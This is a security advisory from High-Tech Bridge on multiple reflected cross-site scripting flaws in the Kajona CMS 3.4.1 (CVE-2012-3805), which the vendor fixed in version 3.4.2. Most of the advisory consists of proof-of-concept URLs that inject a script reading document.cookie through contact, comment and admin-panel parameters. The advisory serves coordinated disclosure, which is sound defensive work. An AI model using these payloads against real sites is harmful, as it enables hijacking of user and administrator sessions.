High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Cross-Site Scripting (XSS) in Kajona

Advisory ID:HTB23097
Product:Kajona
Vendor: Kajona
Vulnerable Versions:3.4.1 and probably prior
Tested Version:3.4.1
Advisory Publication:June 20, 2012 [without technical details]
Vendor Notification:June 20, 2012
Vendor Fix:June 26, 2012
Public Disclosure:July 11, 2012
Latest Update:June 26, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2012-3805
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple Cross-Site Scripting (XSS) vulnerabilities in Kajona.


1) Multiple Cross-Site Scripting (XSS) in Kajona: CVE-2012-3805

1.1 Input passed via the "absender_name", "absender_email" and "absender_nachricht" GET parameters to /index.php (when "page" is set to "contact") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrate the vulnerabilities:

http://kajona/index.php?page=contact&absender_name=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://kajona/index.php?page=contact&absender_email=%22%3E%3Cscript%3Ealert%28document.co okie%29;%3C/script%3E
http://kajona/index.php?page=contact&absender_nachricht=%3C/textarea%3E%3Cscr ipt%3Ealert%28document.cookie%29;%3C/script%3E


1.2 Input passed via the "comment_name", "comment_subject" and "comment_message" GET parameters to /index.php (when "page" is set to "postacomment") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC demonstrate the vulnerabilities:

http://kajona/index.php?page=postacomment&comment_name=%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://kajona/index.php?page=postacomment&comment_subject=%22%3E%3Cscript%3Ealert%28d ocument.cookie%29;%3C/script%3E
http://kajona/index.php?page=postacomment&comment_message=%3C/texta rea%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.3 Input passed via the "module" GET parameter to /index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://kajona/index.php?module=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.4 Input passed via the "action" GET parameter to /index.php (when "module" is set to "login" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://kajona/index.php?module=login&admin=1&action=%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E


1.5 Input passed via the "pv" and "pe" GET parameters to /index.php (when "module" is set to "user", "action" is set to "list" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerabilities:

http://kajona/index.php?admin=1&module=user&action=list&pv=%22%3E%3Cscript%3Ealert%28document.cookie %29;%3C/script%3E
http://kajona/index.php?admin=1&module=user&action=list&pe=%22%3E%3Cscript%3Ealer t%28document.cookie%29;%3C/script%3E


1.6 Input passed via the "user_username", "user_email", "user_forename", "user_name", "user_street", "user_postal", "user_city", "user_tel" and "user_mobile" GET parameters to /index.php (when "module" is set to "user", "action" is set to "newUser" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerabilities:

http://kajona/index.php?admin=1&module=user&action=newUser&user_username=%22%3E%3Cscript%3Ealert%28d ocument.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=user&action=newUser&user_ema il=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&modul e=user&action=newUser&user_forename=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http ://kajona/index.php?admin=1&module=user&action=newUser&user_name=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=user&action=newUser&user_street=%22% 3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=user& action=newUser&user_postal=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona /index.php?admin=1&module=user&action=newUser&user_city=%22%3E%3Cscript%3Ealert%28document.cookie%29 ;%3C/script%3E
http://kajona/index.php?admin=1&module=user&action=newUser&user_tel=%22%3E%3Cscript% 3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=user&action=newUs er&user_mobile=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.7 Input passed via the "group_name" and "group_desc" GET parameters to /index.php (when "module" is set to "user", "action" is set to "groupNew" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerabilities:

http://kajona/index.php?admin=1&module=user&action=groupNew&group_name=%22%3E%3Cscript%3Ealert%28doc ument.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=user&action=groupNew&group_des c=%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.8 Input passed via the "name", "browsername", "seostring", "keywords" and "folder_id" GET parameters to /index.php (when "module" is set to "pages", "action" is set to "newPage" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerabilities:

http://kajona/index.php?admin=1&module=pages&action=newPage&name=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=pages&action=newPage&browsername=%22 %3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=page s&action=newPage&seostring=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona /index.php?admin=1&module=pages&action=newPage&keywords=%3C/textarea%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=pages&action=newPage&folder_id=%22%3 E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.9 Input passed via the "element_name" and "element_cachetime" GET parameters to /index.php (when "module" is set to "pages", "action" is set to "newElement" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerabilities:

http://kajona/index.php?admin=1&module=pages&action=newElement&element_name=%22%3E%3Cscript%3Ealert% 28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=pages&action=newElement&e lement_cachetime=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.10 Input passed via the "aspect_name" GET parameter to /index.php (when "module" is set to "system", "action" is set to "newAspect" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://kajona/index.php?admin=1&module=system&action=newAspect&aspect_name=%22%3E%3Cscript%3Ealert%2 8document.cookie%29;%3C/script%3E


1.11 Input passed via the "filemanager_name", "filemanager_path", "filemanager_upload_filter" and "filemanager_view_filter" GET parameters to /index.php (when "module" is set to "filemanager", "action" is set to "newRepo" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerabilities:

http://kajona/index.php?admin=1&module=filemanager&action=newRepo&filemanager_name=%22%3E%3Cscript%3 Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=filemanager&action =newRepo&filemanager_path=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/ index.php?admin=1&module=filemanager&action=newRepo&filemanager_upload_filter=%22%3E%3Cscript%3Ealer t%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=filemanager&action=newR epo&filemanager_view_filter=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.12 Input passed via the "archive_title" and "archive_path" GET parameters to /index.php (when "module" is set to "downloads", "action" is set to "newArchive" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerabilities:

http://kajona/index.php?admin=1&module=downloads&action=newArchive&archive_title=%22%3E%3Cscript%3Ea lert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=downloads&action=new Archive&archive_path=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


Solution:
Upgrade to Kajona V3.4.2

More Information:
http://www.kajona.de/newsdetails.Kajona-V3-4-2-available.newsDetail.616decb4fe9b7a5929fb.en.html
http://www.kajona.de/changelog_34x.de.html


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23097 - https://www.htbridge.com/advisory/HTB23097 - Multiple Cross-Site Scripting (XSS) in Kajona.
[2] Kajona - http://www.kajona.de/ - Open Source Content Management Framework.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.